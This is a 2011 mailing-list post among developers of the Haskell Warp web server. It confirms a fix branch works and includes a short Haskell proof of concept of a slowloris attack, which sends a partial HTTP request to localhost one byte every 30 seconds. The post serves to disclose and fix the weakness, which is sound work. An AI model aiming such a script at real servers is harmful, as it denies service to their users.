[web-devel] questions about ResponseEnumerator

Kazu Yamamoto ( 山本和彦 ) kazu at iij.ad.jp
Thu Oct 20 06:28:45 CEST 2011

Hello Michael,

> I've started a new branch (slowloris); let's try to come up with a
> complete set of changes to address the issues and then merge it back.
> Here's the change I was describing:
> https://github.com/yesodweb/wai/commit/58119eb0b762fde98567ba181ada61b14dfedd87

I confirmed that my problem is gone. I hope that this will be merged
and the next Warp will be released.

I also confirmed Greg's slowloris attach is possible. The following code
demonstrates it. I think we should introduce rate limiting in the future.


module Main where

import Control.Concurrent
import Data.ByteString.Char8
import Network.Socket hiding (send, recv)
import Network.Socket.ByteString
import System.IO

header :: String
header = "GET / HTTP/1.1\r\nHost: localhost\r\n"

main :: IO ()
main = do
    let hint = defaultHints {
            addrFlags = [AI_NUMERICHOST, AI_NUMERICSERV]
          , addrSocketType = Stream
    a:_ <- getAddrInfo (Just hint) (Just "") (Just "8080")
    s <- socket (addrFamily a) (addrSocketType a) (addrProtocol a)
    connect s (addrAddress a)
    slowloris s header
slowloris :: Socket -> String -> IO ()
slowloris _ [] = return ()
slowloris s (c:cs) = do
    send s (pack [c])
    putChar c
    hFlush stdout
    threadDelay (30 * 1000000)
    slowloris s cs

More information about the web-devel mailing list